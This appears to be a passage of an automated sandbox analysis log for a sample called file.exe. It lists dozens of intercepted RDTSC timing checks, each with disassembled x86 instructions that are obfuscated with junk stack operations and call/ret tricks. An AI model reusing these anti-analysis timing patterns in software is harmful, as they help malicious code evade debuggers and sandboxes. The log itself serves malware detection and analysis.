Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87608 second address: A8766A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F0B44EA8C7Eh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3689h], edi 0x00000014 push 00000000h 0x00000016 mov edi, 24698803h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F0B44EA8C78h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 sub esi, dword ptr [ebp+122D2880h] 0x0000003d mov dword ptr [ebp+122D2817h], edx 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jng 00007F0B44EA8C76h 0x0000004d push edi 0x0000004e pop edi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A66A second address: A8A681 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0B44BD79ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A887BE second address: A887DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F0B44EA8C78h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A681 second address: A8A6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F0B44BD79A8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D271Fh], edi 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+12474C9Fh] 0x0000001d push 00000000h 0x0000001f movsx edi, ax 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A6A9 second address: A8A6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0B44EA8C76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B5EF second address: A8B645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 sub dword ptr [ebp+12456239h], esi 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F0B44BD79A8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push ebx 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e jmp 00007F0B44BD79ACh 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0B44BD79B3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D775 second address: A8D7F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F0B44EA8C78h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D209Eh], ebx 0x0000002a push 00000000h 0x0000002c jns 00007F0B44EA8C84h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F0B44EA8C78h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+122D2089h] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push eax 0x00000057 jno 00007F0B44EA8C76h 0x0000005d pop eax 0x0000005e pop eax 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 push ecx 0x00000064 pop ecx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C9A2 second address: A8C9BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F8A5 second address: A8F92C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F0B44EA8C76h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F0B44EA8C7Bh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F0B44EA8C78h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov edi, 7B9F0856h 0x00000032 push 00000000h 0x00000034 or dword ptr [ebp+122D1F25h], ebx 0x0000003a mov ebx, dword ptr [ebp+122D286Fh] 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007F0B44EA8C78h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 00000017h 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c mov bl, 9Dh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F0B44EA8C84h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E966 second address: A8E96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9091E second address: A9099C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0B44EA8C78h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F0B44EA8C78h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 and edi, dword ptr [ebp+122D28DAh] 0x00000049 push 00000000h 0x0000004b mov dword ptr [ebp+122D2BC7h], eax 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jl 00007F0B44EA8C78h 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9099C second address: A909A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A918DC second address: A918E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A929D5 second address: A929D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91AC7 second address: A91AD1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0B44EA8C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91AD1 second address: A91AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F0B44BD79A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91AF0 second address: A91B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91B0D second address: A91B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A938EB second address: A938FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0B44EA8C7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A938FC second address: A93900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93900 second address: A9397F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F0B44EA8C78h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F0B44EA8C78h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D2ACAh], ebx 0x00000047 push 00000000h 0x00000049 add bh, 00000075h 0x0000004c xchg eax, esi 0x0000004d jmp 00007F0B44EA8C83h 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jp 00007F0B44EA8C76h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9397F second address: A93983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93983 second address: A9398E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95ACA second address: A95ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95ACE second address: A95AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0B44EA8C84h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95AE8 second address: A95AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A960B3 second address: A960B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97103 second address: A97107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97107 second address: A97145 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0B44EA8C78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F0B44EA8C7Bh 0x00000012 mov di, dx 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 sub dword ptr [ebp+122D22EFh], eax 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+1246304Ch], ebx 0x00000026 push eax 0x00000027 pushad 0x00000028 jng 00007F0B44EA8C78h 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 jl 00007F0B44EA8C76h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98037 second address: A9803D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93B28 second address: A93B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9803D second address: A9804A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F0B44BD79ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9804A second address: A98056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96386 second address: A9638D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98FB8 second address: A98FC2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0B44EA8C7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98192 second address: A9819F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F0B44BD79A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9824F second address: A98253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98253 second address: A98259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99F3D second address: A99F47 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0B44EA8C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99F47 second address: A99F4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99F4C second address: A99F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99F52 second address: A99FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F0B44BD79B0h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D209Eh], edx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F0B44BD79A8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 call 00007F0B44BD79AEh 0x00000038 mov dword ptr [ebp+122D2935h], ecx 0x0000003e pop edi 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 pop ecx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99FB2 second address: A99FB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99FB8 second address: A99FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99FBE second address: A99FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE1E second address: A9AE28 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0B44BD79ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE28 second address: A9AE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0B44EA8C76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A11A second address: A9A11E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE39 second address: A9AE3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE3D second address: A9AE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE43 second address: A9AE4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AAA second address: AA1AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AAE second address: AA1AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA79DA second address: AA79E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7B96 second address: AA7B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEB46 second address: AAEB52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F0B44BD79A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEB52 second address: AAEB57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADEE8 second address: AADEEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE050 second address: AAE06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0B44EA8C89h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE06E second address: AAE07B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jc 00007F0B44BD79A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE5AA second address: AAE5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE888 second address: AAE898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F0B44BD79A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE898 second address: AAE89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE9DB second address: AAE9E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE9E1 second address: AAE9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE9EA second address: AAEA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0B44BD79B9h 0x0000000b popad 0x0000000c jnl 00007F0B44BD79B2h 0x00000012 push edx 0x00000013 jno 00007F0B44BD79A6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F4D second address: AB2F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F51 second address: AB2F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F5D second address: AB2F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F0B44EA8C83h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F79 second address: AB2F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2F80 second address: AB2F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB30BC second address: AB30D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79ABh 0x00000009 pop edi 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB30D1 second address: AB30D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB30D6 second address: AB30F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB30F5 second address: AB30FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB30FB second address: AB3115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79B5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB381B second address: AB3820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3DA8 second address: AB3DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79B5h 0x00000009 popad 0x0000000a jmp 00007F0B44BD79B0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3DD2 second address: AB3DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0B44EA8C7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3DE5 second address: AB3E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0B44BD79A6h 0x0000000a popad 0x0000000b jmp 00007F0B44BD79B0h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F0B44BD79ADh 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3E15 second address: AB3E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0B44EA8C76h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68491 second address: A684A5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jno 00007F0B44BD79A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3967D second address: A39682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB429B second address: AB42AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
